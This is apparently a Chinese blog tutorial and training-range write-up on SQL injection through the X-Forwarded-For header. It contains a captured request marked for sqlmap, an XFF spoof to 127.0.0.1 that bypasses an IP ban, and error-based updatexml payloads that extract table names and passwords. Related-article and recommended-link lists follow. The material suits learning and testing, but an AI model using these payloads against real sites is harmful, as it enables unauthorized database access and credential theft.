0x00:XFF是什么?
X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件[通过修改XXF头可以实现伪造IP])。
HTTP头文件里的X-Forwarded-For和Clien-IP一样都是获取访问者真实IP的语句。
0x01:XFF注入
XFF注入属于HTTP头注入的一部分。其他HTTP头注入点还有UA(User-Agent)、Referer、Cookie、Host。
XFF注入是SQL注入的一种,该注入原理是通过修改X-Forwarded-For头对带入系统的dns进行sql注入,从而得到网站的数据库内容。
那么为什么会产生XFF注入呢?因为一些网站的防注入功能会记录请求端真实IP地址并写入数据库或某文件
HTTP头文件里的X-Forwarded-For和Clien-IP一样都是获取访问者真实IP的语句。
0x02:练习一
在墨者学院靶场可以练手
登陆抓包:
POST /index.php HTTP/1.1
Host: 219.153.49.228:46109
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language:xml zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Connection: close
X-Forwarded-for: *
Upgrade-Insecure-Requests: 1
 
username=admin&password=admin
0x03 sqlmap
sqlmap
手动添加X-Forwarded-for: *
使用sqlmap即可跑出。
注意点:在XFF后面添加*能让sqlmap重点扫描,另外XFF和下面Body中的user=admin之间必须隔开一行(因为XFF属于head头,POST参数属于Body体),否则会报错。
 
发现随意输入用户名密码后被禁止IP,正确用户名:admin,密码:test123怎么才能绕过IP检测?

如图手动添加一个X-Forwarded-For:127.0.0.1。让目标认为是自身IP从而得到flag。

0x04手工注入

手动报错注入,填写格式如:X-Forwarded-For: ' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1'='1
当前使用数据库名
1' and updatexml(1,concat(0x7e,database(),0x7e),1), '

表名

1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)), '
字段/列名
1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='logins' limit 0,1),0x7e),1)), '
具体内容
1' and updatexml(1,concat(0x7e,(select password from logins),0x7e),1)), '

HTTP头注入:XFF注入的更多相关文章

  1. SQL注入之注入点的寻找

    注入点的判断 判断一个链接是否存在注入漏洞,可以通过对其传入的参数(但不仅仅只限于参数,还有cookie注入,HTTP头注入等) 进行构造,然后对服务器返回的内容进行判断来查看是否存在注入点. 注入点 ...

  2. 常见注入手法第四讲,SetWindowsHookEx全局钩子注入.以及注入QQ32位实战.

    常见注入手法第四讲,SetWindowsHookEx全局钩子注入.以及注入QQ32位实战. PS:上面是操作.最后是原理 一丶需要了解的API 使用全局钩子注入.我们需要了解几个WindowsAPI. ...

  3. ASP.NET Core依赖注入——依赖注入最佳实践

    在这篇文章中,我们将深入研究.NET Core和ASP.NET Core MVC中的依赖注入,将介绍几乎所有可能的选项,依赖注入是ASP.Net Core的核心,我将分享在ASP.Net Core应用 ...

  4. spring注入 属性注入 构造器注入 set方法注入

    spring注入 属性注入 构造器注入 set方法注入(外部bean注入)

  5. Spring属性注入、构造方法注入、工厂注入以及注入参数(转)

    Spring 是一个开源框架. Spring 为简化企业级应用开发而生(对比EJB2.0来说). 使用 Spring 可以使简单的 JavaBean 实现以前只有 EJB 才能实现的功能.Spring ...

  6. ASP.NET Core 依赖注入(构造函数注入,属性注入等)

    原文:ASP.NET Core 依赖注入(构造函数注入,属性注入等) 如果你不熟悉ASP.NET Core依赖注入,先阅读文章: 在ASP.NET Core中使用依赖注入   构造函数注入 构造函数注 ...

  7. ASPNETCOREAPI 跨域处理 SQL 语句拼接 多条件分页查询 ASPNET CORE 核心 通过依赖注入(注入服务)

    ASPNETCOREAPI 跨域处理 AspNetCoreApi 跨域处理 如果咱们有处理过MV5 跨域问题这个问题也不大. (1)为什么会出现跨域问题:  浏览器安全限制了前端脚本跨站点的访问资源, ...

  8. Sql注入之注入点类型和是否存在注入判断

    SQL注入之判断注入类型注入类型分为数字型和字符型和搜索型例如数字型语句:select * from table where id =3,则字符型如下:select * from table wher ...

  9. ctfhub sql注入 整数型注入

    整数型注入 手工注入 1.查看是否存在sql注入,及sql注入类型 2.确定列数 3.确定注入点,以及数据库版本,数据库名称 4.查表名 5.查字段名以及flag值 获得flag值 sqlmap做法 ...

  10. DLL注入-APC注入

    APC注入 APC注入的原理是利用当线程被唤醒时APC中的注册函数会被执行的机制,并以此去执行我们的DLL加载代码,进而完成DLL注入的目的,其具体流程如下:     1)当EXE里某个线程执行到Sl ...

随机推荐

  1. 用XAMPP搭建本地:Web服务器,访问服务器,下载服务器。

    用XAMPP搭建本地:Web服务器,访问服务器,下载服务器. 首先需要下载XAMPP,链接为:XAMPP下载地址,XAMPP中文网. 下载完成后进行安装,直接一键点到底. 一.如何确定我们安装完成了? ...

  2. 【一句话】:first-child 伪类解释

    关键词 不起作用 选不到 失败 解释 input:first-child 要求既是input元素,而且是兄弟节点中的第一个 如果要找第一个input元素,那么用input:first-of-type ...

  3. 一款备受欢迎的用户脚本管理器插件TampermonKey-油猴脚本管理器安装与使用

    Tampermonkey简介 Tampermonkey是一款备受欢迎的浏览器扩展和用户脚本管理器,它适用于目前各种主流浏览器. 方便的脚本管理(正在运行的脚本和可以运行的脚本在图标处显示一览无余) 脚 ...

  4. dataset的基本使用

    在折线图(柱状.散点图类似)中使用 案例一(默认方式) let option={ dataset:{ source:[ ["1","2","3&quo ...

  5. concurrent-map 和 sync.Map,我该选择哪个?

    concurrent-map 和 sync.Map,我该选择哪个? 官方的map并不是线程安全的,如果我们在多线程中并发对一个map进行读写操作,是会引发panic的.解决方案除了使用锁来对map进行 ...

  6. Luogu P3919 【模板】可持久化线段树 1(可持久化数组)

    板子,正好温习一下主席树的写法 记得数组开 \(32\) 倍!! \(Code\) #include<cstdio> using namespace std; const int N = ...

  7. JZOJ 5343. 【NOIP2017模拟9.3A组】健美猫

    题面 其中 \(1 \leq n \leq 2 \times 10^6\) 分析 考虑每次移动,发现负数对答案贡献少 \(1\),非负数多 \(1\) 每次移动都加了 \(1\) 负数变非负数关键点在 ...

  8. 比较多普勒超声与临床缓解标准对RA放射学进展的预测效能

    比较多普勒超声与临床缓解标准对RA放射学进展的预测效能 de Miguel, et al. EULAR 2015. Present ID: FRI0586. 原文 译文 FRI0586 DOPPLER ...

  9. Flutter:StatefulWidget 怎么传参

    定义好一个有状态(或无状态)的组件之后,需要为其传递一些参数,希望组件能够更加灵活使用.那么,在 Flutter 中如何为其传递参数呢? 以下是 StatefulWidget 传递值的步骤,一共三步: ...

  10. .NET周报 【2月第4期 2023-02-25】

    国内文章 .NET微服务系统迁移至.NET6.0的故事 https://www.cnblogs.com/InCerry/p/microservice-migration-net-6.html 本次迁移 ...